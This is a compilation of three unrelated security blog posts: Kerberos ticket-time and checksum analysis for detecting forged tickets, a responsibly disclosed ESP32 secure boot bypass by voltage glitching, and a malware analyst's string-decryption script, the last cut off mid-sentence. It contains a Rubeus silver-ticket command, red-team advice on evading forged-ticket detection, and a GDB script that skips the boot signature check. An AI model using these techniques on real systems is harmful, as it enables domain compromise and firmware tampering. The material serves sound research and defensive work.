RED VS. BLUE: KERBEROS TICKET TIMES, CHECKSUMS, AND YOU!

RED VS. BLUE: KERBEROS TICKET TIMES, CHECKSUMS, AND YOU!

Original text by Andrew Schwartz in Incident ResponseIncident Response & ForensicsPenetration TestingPurple Team Adversarial Detection & CountermeasuresThreat Hunting

1    INTRODUCTION

At SANS Pen Test HackFest 2022, Charlie Clark (@exploitph) and I presented our talk ‘I’ve Got a Golden Twinkle in My Eye‘ whereby we built and demonstrated two tools that assist with more accurate detection of forged tickets being used. Although we demonstrated the tools, we stressed the message of focusing on the technique of decrypting tickets rather than the tools themselves.

As we dove into our research of building IOAs, we often found ourselves examining ticket times and checksums and were repeatedly surprised by the lack of information from both Red and Blue perspectives for the ticket times and the checksums of Kerberos tickets. As such, this post will provide a more in-depth background to explain their importance and how/why understanding them can better serve offensive and defensive operators.

2    TICKET TIMES

2.1      BACKGROUND OF TICKET TIMES

In Kerberos, each ticket contains three timestamps. These times govern the period for which the ticket is valid. The three times are: 

  • Start Time[1] – The time from which the ticket becomes usable
  • End Time – Calculated from the Start time and the time the ticket becomes unusable
  • Renew Time – Calculated from the Start time and the duration of renewal[2]

Both Blue and Red teams should be especially cognizant of the ‘End’ and ‘Renew’ times. The understood limits for these times are stored in the Kerberos Policy within the domain GPO. While it’s true that this policy determines the max values for these times, in many situations it is the account configuration and group membership that take a higher priority. It is important to know that the times discussed in the rest of this section define or calculate the maximum value for the relevant time and that a ticket can always be requested for a time before the maximum.

Within the Kerberos Policy there are three settings relevant to ticket times:

  • Maximum lifetime for a service ticket – the number of minutes from the Start Time that a service ticket’s End Time can be
  • Maximum lifetime for a user ticket – the number of hours from the Start Time that a TGT’s End Time can be
  • Maximum lifetime for user ticket renewal – the number of days from the Start Time that a TGT’s Renew Time can be

The following is a screenshot of the default values for these settings:

Figure 1 – Example of Default GPO Kerberos Policy and klist output

(The above screenshot is courtesy of Wendy Jiang of Microsoftanswering a question on Microsoft’s forum.)

2.1.1     TICKET TIMES AND THE PROTECTED USERS GROUP

In AD domains with at least one 2012+ Windows domain controller, there is a group called Protected Users that provides ‘enhanced security‘ through membership. The Protected Users group has multiple facets; however, the protection relevant to ticket times is that both End and Renew Times have their max values set to four hours, meaning the maximum for both times is the ticket Start Time + four hours. However, looking at the documentation, this is far from clear: 

Figure 2 – Microsoft’s Documentation on Domain Controller Protections for Protected Users

2.1.2     LOGON HOURS

Within AD, a feature exists to restrict when a user can or cannot log on. This can be configured individually on the user’s properties. The hours can be configured as either permitted or denied.

Figure 3 – Account Logon Hours Configuration Settings

Each block in this table represents an hour of the day, and this translates to a bit in the logonHoursattribute of that user account.

Figure 4 – Logon Hours Value in Hexadecimal

For tickets to the kadmin/changepw service, the End and Renew Times are two minutes after the Start Time.

2.2      TICKET TIMES FOR BLUE TEAMS

To detect a forged ticket, it is imperative for a Blue team to inspect the times associated with the ticket. This can greatly increase the chances of detecting anomalous activity. One of the most well-known IOAs associated with a Golden Ticket is the default End and Renew time of 10 years minus two days. A savvy attacker can easily employ OPSEC to avoid this IOA. However, we can still have great success in catching ‘smash and grab’ attackers. 

An interesting control Blue teams can employ is to create a higher priority policy than the Default Domain Policy and set the Kerberos Policy to non-default. As attackers generally only look at the Default Domain Policy for the times when forging tickets, it is likely many will miss the policy that takes a higher priority. It is important to note that the times need to be set lower and not higher than the Default Domain Policy, as tickets with times lower than the max values are still valid. Below, we have created a new policy and moved it to be the first position in the GPO link order.

Figure 6 – ‘Custom’ Policy in Link Order Position 1

Now, let’s look at our example user ironman and proceed to forge a Golden Ticket. (Note: For this demonstration, OPSEC is not employed.)

Figure 7 – Golden Ticket With Wrong Ticket Times

Looking at our Golden Ticket for ironman, we can clearly see that the EndTime and RenewTill times are wrong as they are based off the Default Domain Policy and not the ‘custom’ policy that was prioritized. In contrast, the screenshot below shows a genuine, initial TGT (#1) that has the End Time of nine hours after the Start Time, matching the new custom Kerberos Policy for user tickets, and a delegated TGT (#0) that has the End Time of eight hours and 20 minutes (or 500 minutes), matching the custom Kerberos Policy for service tickets. This also highlights the importance of making the service ticket lifetime different (lower) than the user ticket (TGT) lifetime. Both tickets have the new Renew Time of six days.

Figure 8 – Genuine Tickets With Times Based on ‘Custom’ Domain Policy

Our tool WonkaVison automates most of these checks but does not, at the time of this post, examine the correct order of GPO Policy or their priorities.

Tier-0 accounts with a greater level of privilege in a domain are often high-value targets (HVTs) for attackers. As such, the Blue team can add these users to the Protected Users group for enhanced protection features. Given that users within the Protected Users group have restricted ticket times, the Blue team can use this to detect forged tickets by attackers that do not take this into account. Note: Per the official Microsoft Documentation, service and computer accounts “…should never be members of the Protected Users group”. It is also good security practice to ensure these accounts are not highly privileged.  

Additionally, the Blue team can use AD’s feature of restricting logonHours to their advantage. By enabling, tracking, and alerting, a user attempting to log on during a restricted time can be an IOA of an attacker, as it may be anomalous, using a compromised account.

It is important to note that the restriction of logonHours will not prevent the actual usage of the Golden Ticket. However, it will prevent the ability to request an initial TGT (ASKTGT).

Figure 9 – ASKTGT With Error KDC_ERR_CLIENT_REVOKED

If we check our Windows EVTX logs filtering on Kerberos events (generally EIDs: 4768 and 4769), we get the following event:

Figure 10 – 4768 Event With KDC_ERR_CLIENT_REVOKED

Most notably, Ticket Encryption Type (0xFFFFFFFF) translates to This type shows in Audit Failure events, and the Failure Code (0x12) resolves to KDC_ERR_CLIENT_REVOKED. From a deterrence point of view, we can see the benefit of this control. However, from a detection/hunt/DFIR point of view, this event by itself would not have high fidelity in catching an attacker, as it would most likely be prevalent in most organizations. Granted, as the event does have the source IP address in question, the event can be correlated with EID 5156, as shown by Jonathan Johnson’s (@jsecurity101research.

2.3      TICKET TIMES FOR RED TEAMS

As previously discussed, the Protected Users group provides added security controls to its members to boost IAM. By enumerating its members, an attacker can identify which users are restricted and can then tailor forged tickets to blend in more normally within the restricted operating times, making it harder for defenders to identify anomalous activity. 

As noted, the logonHours attribute is in raw bytes and is not easily human readable as a result. An attacker or Red teamer reading this attribute prior to forging a ticket can be extremely beneficial for evading detection when attempting to compromise another (e.g., lateral movement) asset. Charlie Clark’s fork of PowerView automatically converts the logonHours attribute to a more readable form.

Figure 11 – Logon Hours by User Enumerated via Charlie Clark’s Fork of PowerView

As we can see in the above screenshot, the user ironman is restricted from logging on during the hours of 2300 – 0300 on Thursdays. This means that if the domain policy for the End and Renew Times of the ticket is longer than the next time where logon is restricted, then these will become the new End and Renew times.

The Red team should be aware of when a user can log on, because if they use a forged ticket during a user’s restricted hours, the Blue team could use a Windows Event ID 4769 to see if a service ticket was successfully requested. A logon during a restricted time would be anomalous as this would not be possible during normal operations. 

Additionally, the Red team can enumerate the Kerberos Domain Policy. This can be performed with a recent commit Charlie Clark made to his fork of PowerView.

Figure 12 – Charlie Clark’s PowerView Get-DomainGPOStaus cmdlet

Here, not only is the GPO priority shown for the given organizational unit (OU) but also the various statuses of the GPO. This function, however, does not consider inheritance, but for this particular usage, that should not be an issue. By knowing this information, we can then calculate the correct values and pass them to Rubeus manually when forging a ticket.

Note: Charlie Clark also has a function Get-RubeusForgeryArgs within PowerView that automates the calculation of the ticket times. However, for the user ironman, the reason Get-RubeusForgeryArgs has not added the EndTime and RenewTill arguments is that, at the time of execution, ironman is not allowed to log on as specified by the logonHours. Because ironman is also not a member of the Protected Users group, Get-RubeusForgeryArgs has defaulted back to the Kerberos Policy, and since it only looks at the Default Domain Policy, which is set to defaults, it hasn’t added the arguments.

Figure 13 – Domain User With Restricted logonHours

Using Get-RubeusForgeryArgs against a regular user, the script has not taken into account the higher priority GPO Policy that was created above and incorrectly calculates the times to be the defaults, thus leaving the arguments out again.

Figure 14 – Regular Domain Admin

Get-RubeusForgeryArgs correctly calculates the End and Renew Times for the user thor, a member of the Protected Users group.

Figure 15 – User ‘thor’ in Protected Users Group

3    CHECKSUMS

3.1      BACKGROUND OF CHECKSUMS

Another key part of the ticket that caught our eye during our research was the Checksums. There are several types of checksums stored in the ticket, depending on the type of ticket. These checksums are there to prevent the ticket from manipulation. One thing to keep in mind for the next sections is that the words Checksum and Signature are used interchangeably.

Originally, there were two checksums (Server and KDC). As a result of the Bronze Bit Attack, Microsoft implemented the Ticket Checksum. More recently, Microsoft implemented the FullPAC Checksum as a result of CVE-2022-37967.

Microsoft’s documentation on PAC_SIGNATURE_DATA, which is the name of the structure within the PAC where a checksum and its type are stored, can be found here.

3.2      TYPES OF CHECKSUMS

3.2.1     SERVER CHECKSUM

The Server Checksum is generated by the KDC and covers the PAC with the Server and KDC Checksum signatures ‘zeroed’ out (each byte of the signature buffer set to zero). The key that is used to encrypt the ticket is also used to create the checksum.

Microsoft’s documentation on the Server Signature can be found here.

3.2.2     KDC CHECKSUM

The KDC Checksum protects the Server Checksum and is signed by the KRBTGT key.

Microsoft’s documentation on the KDC Signature can be found here.

3.2.3     TICKET CHECKSUM

The Ticket Checksum was introduced to protect the encrypted part of the ticket from modification. The Bronze Bit attack took advantage of the fact that, for an S4U2Self ticket, the requesting account could decrypt the ticket, modify the encrypted part, re-encrypt it, and use the ticket. The Ticket Checksum covers the encrypted part of the ticket with the PAC set to 0 (a single byte set to zero).

Microsoft’s documentation on the Ticket Signature can be found here.

3.2.4     FULLPAC CHECKSUM

The FullPAC Checksum was introduced to protect the PAC from an RC4 attack. As a result, Microsoft released an OOB patch in the November 2022 patches. As it stands, this signature is in audit mode until October 2023 when Microsoft will begin automatic enforcement of this signature. Interestingly, as of writing this blog post, this signature has not been documented on Microsoft’s website.

Figure 16 – List of Kerberos Checksums Documented From Microsoft

The FullPAC Checksum is essentially the same as the Server Checksum but signed with the KRBTGTkey. So, it covers the whole PAC with the Server and KDC Checksums zeroed out.

Note: Ticket and FullPAC Checksums are not present in TGTs or referrals. They are only present in service tickets.

For the next two sections, we are mainly going to focus on service tickets and referrals. The reason for this is that local TGTs are protected by the KRBTGT key and therefore only contain the Server and KDC Checksums, which are both signed with the KRBTGT key. If an attacker can forge a TGT, then they can also sign both checksums correctly. However, this is not the case for service tickets and referrals. While genuine referrals lack the Ticket and FullPAC Checksums, the KDC Checksum is still signed with the KRBTGT key while the trust key is used for the Server Checksum and ticket encryption.

3.3      CHECKSUMS FOR BLUE TEAMS

For the Blue team, having the ability to gain telemetry into the PAC to view the checksums is a significant indicator that a forged ticket has been created and most likely used. To help identify forged tickets via the use of checksums, we have created the ‘Charlie Checksum Verification Test’.

In this example, I have supplied the following command to Rubeus to generate a Silver Ticket:

Rubeus.exe silver /aes256:<aes256_key> /ldap /user:thor /service:cifs/asgard-wrkstn.marvel.local /nowrap

Our terminal output will show the following, noting that the ServiceKey and the KDCKey are the same.

Figure 17 – Rubeus Silver Ticket Creation Without krbkey

If we describe our Silver Ticket and use the ServiceKey and the actual KRBTGT key via the /krbkeyparameter, we can verify any checksum that has been signed with the KRBTGT key (i.e., the KDC, Ticket, and FullPAC Checksums). We will see in the next screenshot that these checksums are INVALID. This indicates, but does not solidify or confirm, that the service ticket is forged. The exception being that the KRBTGT key may have been rotated since the creation of the service ticket, further checks would be required to determine this.

igure 18 – Rubeus Describe of Silver Ticket With Actual KRBTGT Key

It would be better for the Blue team to first check with the ServiceKey as the /krbkey. If that matches, then you have a forged ticket!

Figure 19 – Rubeus Description of Silver Ticket With ServiceKey as KRBTGT Key

3.4      CHECKSUMS FOR RED TEAMS

All four checksums have been implemented into Rubeus, with the last being merged with this PR. However, this is currently not the case with the main branches of Mimikatz and Impacket.

Part of the Red team’s greatest weapon in their arsenal is the employment of OPSEC. The more similar a forged ticket is to a genuine ticket, the more difficult it is to detect.

The advantage of using Rubeus for Silver Ticket creation is the ability to pass the /krbkey, which will then be used to sign any checksum that is normally signed by the KRBTGT key. To best avoid detection, a Red teamer should use the real KRBTGT key. However, if one does not have the real KRBTGT key, a false one can be easily passed to Rubeus, which has a higher likelihood of avoiding detection than using the ServiceKey.

4    CONCLUSION

Our main purpose of this post, while this information is not ‘new’ or ‘revolutionary’, is to show how an intimate understanding of normal operations can help both Blue and Red teams in detection and OPSEC, respectively.

While gaining access to the encrypted part of Kerberos tickets may be a challenge for Blue teams, the importance of doing so for detection cannot be emphasized more. However, while it is not possible to review the checksums without decrypting the tickets, the ticket times are more easily accessible through commands like 

klist
 or the underlying call to LSA that 
klist
 makes use of.e

For Red teams, the ability to blend in with normal operations is a high priority. While it may not be possible to completely emulate normal behavior, such as using a Silver Ticket when the KRBTGT key is not available, understanding what Blue teams may look for to definitively determine malicious activity will always be beneficial.

Ultimately, all of us are working to improve security in a positive way, and that happens best when everyone has more information about how everything works.

5    ACKNOWLEDGEMENTS

A special thank you to the following individuals for helping review this post:

Elad Shamir (@elad_shamir)

Carlos Perez (@Carlos_Perez)

Julie Daymut

Megan Nielsen (@mega_spl0it)

Roza Maille

Jessica Sheneman


[1]. Technically, there is also Auth Time. Most often, Start Time and Auth Time are the same. For simplicity, we will not focus on Auth Time. If there is an Auth Time that is vastly different from the Start Time, the ticket will likely be issued for the future, in which case the Start Time of the ticket is the time from which when the End and Renew Times are calculated.

[2]. Keep in mind the ticket must be renewed before the End Time.

Pwn the ESP32 Secure Boot

Pwn the ESP32 Secure Boot

Original text by  LimitedResults

In this post, I focus on the ESP32 Secure Boot and I disclose a full exploit to bypass it during the boot-up, using low-cost fault injection technique.

Espressif and I decided to go to Responsible Disclosure for this vulnerability (CVE-2019-15894).

The Secure Boot

Secure boot is the guardian of the firmware authenticity stored into the external SPI Flash memory.

It is easy for an attacker to reprogram the content of the SPI Flash memory, then to run its malicious firmware on the ESP32. The secure boot is here to protect against this kind of firmware modification.

It creates a chain of trust from the BootROM to the bootloader until the application firmware. It guarantees the code running on the device is genuine and cannot be modified without signing the binaries (using a secret key). The device will not execute untrusted code otherwise.

ESP32 Secure boot details

Espressif provides a complete online documentation here, dedicated to this feature.

How it works?

Secure boot is normally set during the production (at the factory), considered as a secureenvironment.

During the Production

Secure boot key (SBK) into e-Fuses

The ESP32 has a One Time Programmable (OTP) memory, based on four blocks of 256 e-Fuses (total of 1024 bits).

The Secure Boot Key (SBK) is burned into the eFuses BLK2 (256 bits) during the production. This key is then used by AES-256 ECB mode by the BootROM to verify the bootloader. According to Espressif, the SBK cannot be readout or modify (the software cannot access the BLK2 block due to the Read/Write Protection eFuse). 

This key has to be kept confidential to be sure an attacker cannot create a new bootloader image. It is also a good idea to have a unique key per device, to reduce the scalability if one day, the SBK is leaked or recovered.

ECDSA key Pair

During the production phase, the vendor will also create an ECDSA key pair ( private key and public key).

The private key has to be kept confidential. The public key will be included at the end of the bootloader image. This key will be in charge to verify the signature of the app image.

The digest

At the address 0x00000000 in the SPI flash layout, a 192-bytes digest has to be flashed. The output digest is 192 bytes of data is composed by 128 bytes of random, followed by the 64 bytes SHA-512 digest computed such as:

Digest = SHA-512(AES-256((bootloader.bin + ECDSA publ. key), SBK))

On the field now

During the boot-up, the secure boot process is the following:

Reset vector > ROM starts > ROM Loads and verifies Bootloader image (using SBK in OTP) > Bootloader is running > Bootloader loads and verifies App image > App image is running

The BootROM verification

After the reset, the CPU0 (PRO_CPU) executes the BootROM code (stage 0), which will be in charge to verify the bootloader signature. Then, the bootloader image (present at 0x1000 in the flash memory layout) is loaded into SRAM and the BootROM verifies the bootloader signature. If result is ok, the CPU0 then executes the bootloader (stage 1).

About The ECDSA verification

Micro-ECC (uECC) library is used to implement the ECDSA verification in the bootloader image, to verify the app image signature (stage 2).

I noticed this previous vulnerability CVE-2018-18558. It was fixed in esp-idf v3.1.

Focus on Stage 0

For an attacker, it is obviously more interesting to focus on the Bootloader verification done by the BootROM (not on the further stages).

The Software Setup

Compile and run a signed Application

A simple main.c like that should be enough as a test application:

void app_main()
 {
     while(1)
     {
     printf("Hello from SEC boot K1!\n");
     vTaskDelay(1000 / portTICK_PERIOD_MS);
     }
 }

To compile, I enable the (reflashable) secure boot via make menuconfig. That will automatically compute and insert the digest into the signed bootloader file. This config will generate a known Secure Boot Key. (I can reflash a different signed bootloader in the future). Security stays the same.

make menuconfig

After the end of the compilation, I finally flash the bootloader+digest file at 0x0 in the flash layout, the app image at 0x10000 and the table partition at 0x8000 using esptool.py.

Setting the Secure Boot

I enable the secure boot feature on a new ESP32 board manually, using these commands:

## Burn the secure boot key into BLK2
$ espefuse.py burn_key secure_boot ./hello_world_k1/secure-bootloader-key-256.bin
## Burn the ABS_DONE fuse to activate the sec boot
$ espefuse.py burn_efuse ABS_DONE_0

After the reset, the E-fuses map can be read using espefuse.py tool:

eFuses summary

Secure boot is enabled (ABS_DONE_0=1) and the secure boot key (BLK2) cannot be readout anymore. CONSOLE_DEBUG_DISABLE was already burned when I received the board.

The ESP32 will now authenticate the bootloader after each reset, the software then verifies the app and the code is running:

...
I (487) cpu_start: Pro cpu start user code                                      
I (169) cpu_start: Starting scheduler on PRO CPU.                               
Hello from SEC boot K1!
Hello from SEC boot K1!
Hello from SEC boot K1!
...

Note: Some advised people will probably notice I do not burn the JTAG_DISABLE eFuse…intentionally 😉

Compile and run the unsigned Application

To set my attack scenario, I create a new project with this straightforward hello_world C code in the main function:

void app_main()
 {
     while(1)
     {
     printf("Sec boot pwned by LimitedResults!\n");
     vTaskDelay(1000 / portTICK_PERIOD_MS);
     }
 }

I compile then I flash the unsigned bootloader and the unsigned app image. As expected, the device is bricked displaying an error message on the UART:

ets Jun  8 2016 00:22:57
rst:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
 configsip: 0, SPIWP:0xee
 clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
 mode:DIO, clock div:2
 load:0x3fff0018,len:4
 load:0x3fff001c,len:8708
 load:0x40078000,len:17352
 load:0x40080400,len:6680
 secure boot check fail
 ets_main.c 371
...(infinite loop)

Exactly what I wanted. The secure boot fails once it checks the unsigned bootloader. 

The attack is simple here. The goal is to find a way to force the ESP32 to execute this unsigned bootloader (then my unsigned app) on the ESP32.
Let’s reverse now.

The JTAG way

You remember I did not burn the JTAG fuse? It is great because I can now use this debug interface to identify the secure boot related functions and see how I can prepare an exploit.

OpenOCD + FT2232h board 

I download openOCD for ESP32 here and extract it:

$ wget https://github.com/espressif/openocd-esp32/releases/download/v0.10.0-esp32-20190313/openocd-esp32-linux64-0.10.0-esp32-20190313.tar.gz
$ tar -xvf openocd-esp32-linux64-0.10.0-esp32-20190313.tar.gz
$ cd openocd-esp32

Full Debug Setup

I need an interface to connect via JTAG to the ESP32. The FT2232h board is perfect, it’s my Swiss army knife. The connections between the two boards are below:

FT2232H_ADBUS1_TDI <-> GPIO12 (MTDI)
FT2232H_ADBUS0_TCK <-> GPIO13 (MTCK)
FT2232H_ADBUS3_TMS <-> GPIO14 (MTMS)
FT2232H_ADBUS2_TDO <-> GPIO15 (MTDO)
FT2232H_GND        <-> ESP32_GND

JTAG setup. ESP32 on the left, FT2232h board on the right.

GDB session

Then, openOCD and GDB are launched in two distinctive shells:

# shell 1
$ ./bin/openocd -s share/openocd/scripts -f interface/ftdi/ft2232h_bb.cfg -f board/esp-wroom-32.cfg -c "init; reset halt"
# shell 2
$ xtensa-esp32-elf-gdb

I also add a minicom shell to UART0. At the end, it’s just a normal GDB debug session:

A shell for UART, a shell for GDB, a shell for openOCD and my custom config for the ft2232h breakout board

After reset, the Program Counter (PC) is directly landing at 0x40000400 aka the reset vector address, CPU is halted, and I have full control of the BootROM code flow.

Digging into the BootROM

The Dump

I dump the BootROM through the JTAG interface.

The Reverse

Note: I don’t detail the entire reverse here because it would take too long.

I am not the first working on this this ESP32 bootROM. This guys here and here did awesome jobs.

I became a little bit more familiar with Xtensa ISA since last year. Using IDA and a good plug-in from here, I was able to figure out.

The ISA reference manual is available here.

Digging into the Xtensa BootROM code, I finally identified a bnei instruction (0x400075B7) after ets_secure_boot_check_finish:

ecure boot final check BNEI (branch instruction validating or not the signed image).

The PC has to reach 0x400075C5 (right side) after the branch instruction (bnei) to validate the unsigned bootloader.
Let’s use and GDB over JTAG to confirm it.

Exploit validation (via GDB)

As seen above, patching the value inside the register a10 should be enough to reach 0x400075C5. Here is the GDB script example able to bypass the secure boot check, to finally execute my own image :

target remote localhost:3333
monitor reset halt
hb *0x400075B7
continue
set $a10 = 0
continue

Then:

$ xtensa-esp32-elf-gdb -x exploit.gdb

PoC video

Let’s set to 0 the a10 register to bypass the secure boot (via JTAG access).

Of course, other patching exploits are possible…But now, I just need to reproduce that, without using JTAG 🙂

Time to Pwn (for Real)

To reproduce this exploit, I can only use fault injection because it’s the only way to interact with the ESP32 bootROM code (no control otherwise).

The target

The LOLIN board will be used for the PoC:

LOLIN dev-kit (10$ on Amazon)

I configure the second board to enable the secure boot. Here is the device’s eFuses:

eFuses Security configuration of the device under test. Secure boot enabled, JTAG disabled, Console debug disabled.

Power domains (Round 2)

During my post on ‘DFA warm-up’ here, I already modified VDD_CPU line to attach directly the output of the glitcher to the VDD_CPU pin.

Surprisingly, during my first tests, glitching the VDD_CPU did not affect so much the normal behaviour of the chip during the bootROM process. 

I have to find a solution. After probing some lines, I am suspecting the VDD_RTC plays a important role during the bootROM process.

Consequently, I decide to double glitch on the VDD_CPU and VDD_RTC simultaneously, to provide maximum voltage drop-out during the bootROM execution.

I cut the VDD_RTC line and I solder a second magnet wire to the VDD_RTC pin. The final PCB looks like that:

Glitch on VDD_CPU and VDD_RTC simultaneously. SMD grabber on MOSI pin.

The SMD grabber is connected to the MOSI. I will be able to see the activity on the SPI bus between the SPI, storing the bootloader image, and the ESP32, which will authenticate and run the image). 

This MOSI signal gives a nice timing information (see CH2 on scope screens below).

Hardware Setup

I use python to script and synchronise all the equipments:

Final setup to pwn the ESP32 secure boot.

It is time to obtain results, I would say.

Fault session

ESP32 Stuck in a loop

As already explained, the ESP32 automatically reset after each secure boot check:

ets Jun  8 2016 00:22:57                                                        
 rst:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)                     
 configsip: 0, SPIWP:0xee                                                        
 clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00         
 mode:DIO, clock div:2                                                           
 load:0x3fff0018,len:4                                                           
 load:0x3fff001c,len:8556                                                        
 load:0x40078000,len:12064                                                       
 load:0x40080400,len:7088                                                        
 secure boot check fail                                                          
 ets_main.c 371                                                                  
 ets Jun  8 2016 00:22:57
...(infinite loop)     

Timing Fault

Here is a scope capture:

Secure boot check fail. CH1= UART TX; CH2=SPI MOSI

The signature verification is obviously achieved between the last SPI data frames and the UART error message ‘secure boot check fail’ (RS232-TX). 

Glitch effect is visible on the UART line (CH1).

According to what I saw during the BootROM reverse, the ets_secure_boot_check_finish is a tiny function and I am pretty sure about its timing location. It is why I am starting to glitch near to the end of the SPI flash MOSI data (CH2).

Fault injections is like fishing. When you are sure you are in a good spot with the good rods and fresh baits, you just have to wait. It is just a matter of time to obtain the good behavior:

Entry Point 0x400807a0 => Secure boot bypassed.
Cheers!

Note: Glitch Timing is really dependent of the setup.

Once the glitch is successful, the CPU is jumping to the entry point (see entry 0x400807a0 on scope) and the unsigned bootloader previously loaded in SRAM0 is then executed. Secure boot is bypassed and the attack is effective until the next reset. 

Here is the UART log when the attack is successful:

st:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)                     
 configsip: 0, SPIWP:0xee                                                        
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00         
 mode:DIO, clock div:2                                                           
 load:0x3fff0018,len:4                                                           
 load:0x3fff001c,len:8556                                                        
 load:0x40078000,len:12064                                                       
 load:0x40080400,len:7088                                                        
 entry 0x400807a0                                                                
 D (88) bootloader_flash: mmu set block paddr=0x00000000 (was 0xffffffff)        
 I (38) boot: ESP-IDF v4.0-dev-667-gda13efc-dirty 2nd stage bootloader           
...
...
...
 I (487) cpu_start: Pro cpu start user code                                      
 I (169) cpu_start: Starting scheduler on PRO CPU.                               
 Sec boot pwned by LimitedResults!                                               
 Sec boot pwned by LimitedResults!                                               
 Sec boot pwned by LimitedResults!                                               
...(infinite loop)   

Original PoC video

Sorry for the tilt:

Original PoC

Conclusion

A complete exploit on the ESP32 secure boot using voltage glitching technique has been presented.
First, BootROM was reversed to find the function in charge to verify the bootloader signature. Then, an exploit was prepared using patching function over JTAG on a first ESP32 board. Finally, the exploit was reproduced on a second ESP32 board, using voltage fault injection to disrupt the BootROM process, to finally execute unsigned firmware on ESP32.

All the ESP32 already shipped (with only secure boot enabled) are vulnerable. 

Due to the low-complexity of the attack, it can be reproduced on the field easily, (less than one day and using less than 1000$ equipment).

This vulnerability cannot be fixed without Hardware Revision. Espressif has already shipped dozens of Millions of devices.

The only way to mitigate is certainly to use Secure Boot + Flash Encryption configuration. But maybe not after all, teaser here.

Stay tuned for the final act!

Timeline Disclosure

04/06/2019: Email sent to Espressif with the PoC video.

05/06/2019: Espressif team is asking for more details. 

01/08/2019: Light report on Secure Boot + PoC sent to Espressif. Espressif announces a second team has also reported something very similar (they did not want to disclose details about this team). Espressif proposes to go for CVE.

12/08/2019: Espressif is OK for 30-days disclosure process. Espressif announces they may decide to not register CVE.

30/08/2019: Espressif announces CVE is on going.

01/09/2019: Posted.

UPDATE

02/09/2019: Security advisory from Espressif released here.

05/09/2019: Espressif provides Common Vulnerabilities and Exposures number CVE-2019-15894. Link here.

[Case study] Decrypt strings using Dumpulator

[Case study] Decrypt strings using Dumpulator

Original text by m4n0w4r

1. References
2. Code analysis

I received a suspicious Dll that needs to be analyzed. This Dll is packed. After unpacking it and throwing the Dll into IDA, IDA successfully analyzed it with over 7000 functions (including API/library function calls). Upon quickly examining at the Strings tab, I came across numerous strings in the following format:

Based on the information provided, I believe these strings have definitely been encrypted. Going through the code snippet using an arbitrary string, I found the corresponding assembly code and pseudocode as follows (function and variable names have been changed accordingly):

With the image above, it is easy to see:

  • The 
    <mark><strong>EAX</strong>&nbsp;</mark>
    register will hold the address of the encrypted string.
  • The 
    <mark><strong>EDX</strong>&nbsp;</mark>
    register will hold the address of the string after decryption.
  • The 
    <mark><strong>mw_decrypt_str_wrap</strong>&nbsp;</mark>
    function performs the task of decrypting the string.

Here, if any of you have the same idea of analyzing the 

<mark><strong>mw_decrypt_str_wrap</strong> </mark>
function to rewrite the IDApython code for decryption, congratulations to you 🙂 You share the same thought as me! The 
<mark><strong>mw_decrypt_str_wrap</strong> </mark>
function will call the 
<mark><strong>mw_decrypt_str</strong> </mark>
function.

After going around various functions and thinking about how to code, I started feeling increasingly discouraged. Moreover, when examining the cross-references to the 

<mark>mw_decrypt_str_wrap </mark>
function, I noticed that it was called over 4000 times to decrypt strings… WTF 😐

3. Use dumpulator

As shown in the above image, there are too many function calls to the decryption function. Moreover, rewriting this decryption function would be time-consuming and require code debugging for verification. I think I need to find a way to emulate this function to perform the decryption step and retrieve the decrypted string. Several solutions came to mind, and I also asked my brother, who suggested using x or y solutions. After some trial and error, I decided to try using dumpulator. To be able to use dumpulator, we first need to create a minidump file of this DLL (dump when halted at DllEntryPoint). After obtaining the dump file, I tested the following code snippet:

from dumpulator import Dumpulator
 
dec_str_fn = 0x02FE08C0
enc_str_offset = 0x02FD9988
 
dp = Dumpulator("mal_dll.dmp", quiet=True)
tmp_addr = dp.allocate(256)
dp.call(dec_str_fn, [], regs={'eax':enc_str_offset , 'edx': tmp_addr})
dec_str = dp.read_str(dp.read_long(tmp_addr))
print(f"Encrypted string: '{dp.read_str(enc_str_offset)}'")
print(f"Decrypted string: '{dec_str}'")

Result when executing the above code:

0ly Sh1T… 😂 that’s exactly what I wanted.

Next, I will rewrite the code according to my intention as follows:

  • Use regex to search for patterns and extract all encoded string addresses.
  • Filter out addresses that match the pattern but are not decryption functions or undefined addresses and add them to the 
    <mark>BLACK_LIST</mark>
    .

Here’s a lame code snippet that meets my needs:

import re
import struct
import pefile
from dumpulator import Dumpulator
 
dump_image_base = 0x2F80000
dec_str_fn = 0x02FE08C0
 
BLACK_LIST = [0x3027520, 0x30380b6, 0x30380d0, 0x3039a08, 0x3039169, 0x303a6b6, 0x303aa0e, 0x303ab5c, 0x303bbf3, 0x3066075, 0x306661b, 0x3083e50,
              0x3084373, 0x30856d1, 0x30858aa, 0x308c7ac, 0x308d02d, 0x30acbfd, 0x30cd12e, 0x30cd187, 0x30cd670, 0x30cd6d4, 0x30cfe2f, 0x30d4cc4,
              0x3106da0]
 
FILE_PATH = 'dumped_dll.dll'
dp = Dumpulator("mal_dll.dmp", quiet=True)
 
file_data = open(FILE_PATH, 'rb').read()
pe = pefile.PE(data=file_data)
 
egg = rb'\x8D\x55.\xB8(....)\xE8....\x8b.'
tmp_addr = dp.allocate(256)
 
def decrypt_str(xref_addr, enc_str_offset):    
    print(f"Processing xref address at: {hex(xref_addr)}")
    print(f"Encryped string offset: {hex(enc_str_offset)}")
    dp.call(dec_str_fn, [], regs={'eax': enc_str_offset, 'edx': tmp_addr})
    dec_str = dp.read_str(dp.read_long(tmp_addr))
    print(f"{hex(xref_addr)}: {dec_str}\n")
    return dec_str
     
for m in re.finditer(egg, file_data):
    enc_str_offset = struct.unpack('<I', m.group(1))[0]
    inst_offset = m.start() 
    enc_str_offset_in_dmp = enc_str_offset - 0x400000 + dump_image_base
    call_fn_addr = inst_offset + 8 - 0x400 + dump_image_base + 0x1000
    if call_fn_addr not in BLACK_LIST:
        str_ret =  decrypt_str(call_fn_addr, enc_str_offset_in_dmp)
 
print(f"H0lY SH1T... IT's D0NE!!!")

Result when executing the above script:

No errors whatsoever 😈!!! As a final step, I added a code snippet to this script that will output a Python file. This file will contain the 

<mark><strong>idc.set_cmt</strong>&nbsp;</mark>
